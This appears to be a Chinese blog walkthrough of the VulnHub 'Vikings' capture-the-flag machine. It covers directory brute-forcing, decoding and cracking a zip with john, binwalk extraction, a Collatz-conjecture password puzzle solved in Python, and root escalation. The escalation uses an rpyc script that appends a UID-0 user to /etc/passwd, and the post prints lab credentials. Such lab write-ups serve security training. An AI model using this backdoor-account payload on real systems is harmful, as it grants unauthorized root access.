VulnHub靶机渗透实战9-vikings

本次靶机是CTF风格的靶机。

靶场地址:Vikings: 1 ~ VulnHub

 网络呢还是桥接模式。

 Description

Back to the Top

A CTF machine with full of challenges

Do what is visible, no rabbit holes

Learn new things, and make sure that you enum first then hack.

Discord- luckythandel#6053 {for any-hint}

This works better with VirtualBox rather than VMware

 一;信息收集哇。

1;快速简单方便的发现主机和开放的服务端口。


 2;访问一下,很帅。


 3;爆破一下子目录。

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.1.60/site/ -x txt,tar.tar.gz,php


4;看一下有没有什么有用的东西。

 5;将base64编码(最后存在=,猜测应该是base64)的字符串进行解码保存到本地并使用file查看文件类型,获得文件类型为zip

curl http://192.168.1.66/site/war-is-over/ | base64 -d > upfine

 

 6;修改后缀,查看一下,需要密码。fcrackzip工具也能用来爆破密码,fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u upfine.zip,但是爆破失败。

那就换一个zip2john。zip2john upfine.zip > paswd

 

 

 

用字典爆破。 john --wordlist=/usr/share/wordlists/rockyou.txt paswd

 

 

 

 

 

 

 

 binwalk -e king --run-as=root

换这个工具查看隐藏信息,然后提取出来,然后提示我们加--run-as=root,之后目录下会多个目录。

 

 用户名密码:floki/f@m0usboatbuilde7

 

 二;漏洞枚举

1;登录ssh,


2;看看是什么东西。

编辑

 我是著名的造船师弗洛基。我们竭尽全力袭击了巴黎但还是失败了。战后我们不知道拉格纳在哪。他现在很悲伤。我想向他道歉。
因为是我领导了所有的维京人。我得找到他。他可能在任何地方。

 

#可打印字符是你的盟友。
#num = 29个质数。
collatz-conjecture (num)

3;考拉兹猜想

collatz-conjecture经过搜索为考拉兹猜想(英语:Collatz conjecture),又称为奇偶归一猜想、3n+1猜想、冰雹猜想、角谷猜想、哈塞猜想、乌拉姆猜想或叙拉古猜想,是指对于每一个正整数,如果它是奇数,则对它乘3再加1,如果它是偶数,则对它除以2,如此循环,最终都能够得到1。通过前面对数列求解的认识,我们可以类似的编写程序。这里判断奇数/偶数可以用求余函数mod,判断可以用if语句,循环终止是数列的某项达到1,可以用while语句。

所以boat的意思是让我们对第二十九个质数做考拉兹猜想,所得到的数的数列,其中可打印的字符(ascall可以代表的字符,256以内),就是我们要得到的

首先我们编写一段简单的python代码来计算出第二十九个质数。

n = 0
for i in range(1000):
    flag = 0
    if i < 2:
        continue
    j = int(i/2) + 1
    for k in range(2,j):
        if i % k == 0:
            flag = 1
            break
    if flag == 0:
        n += 1
        print("第",n,"个质数为",i)


再编写一个简单python做考拉兹猜想,并且输出所有ascall为256以内的字符
n = 109
num = []
num.append(n)
while n != 1:
    if n % 2 == 0:
        n =int(n / 2)
    else:
        n= int(3 * n + 1)
    if(n < 256):
        num.append(n)
print(num)
for i in num:
    j = chr(i)
    print(j,end='')

 4;使用cyberchef的Strings模块分出所有可打印的字符,因为输出是每个字符占一行所以再用replace模块替换掉换行符方便复制密码,也要掉所有空格.

  5;所以,ragnar用户的密码是:mR)|>^/Gky[gz=\.F#j5P(

第一个falg. 


linux登录自动执行命令,可以通过

  1.  对于当前用户生效的
  2.  编辑当前主目录下的.bashrc文件添加一个指令
  3.  编辑当前主目录下的.profile文件
  4.  .bash_profile文件 
  5.  对于全局用户生效的
  6.  /etc/profile

​ 有一个文件是以root权限运行。通过搜索我们发现这个程序也是一个客户端服务端的程序,并且这个服务端文件的运行用户为root,我们可以通过编写代码向服务端发送特殊请求来获得root用户的shell。

 

 

 1;写shell,调用有root执行rpyc.classic.connect文件的权限,创建一个用户和用户密码,写入shell,然后执行,最后,su sing。哦了!

import rpyc
def exp():
    import os
    os.system("echo 'sing:$1$tad/je9c$twFkrVbv69ZQt3mPBFrHX1:0:0:root:/root:/bin/bash' >> /etc/passwd")
conn = rpyc.classic.connect("localhost")
fn = conn.teleport(exp)
fn()


2;提权成功,第二个falg.

 

posted @ 2022-11-25 17:49  yang咩咩学IT  阅读(92)  评论(0编辑  收藏  举报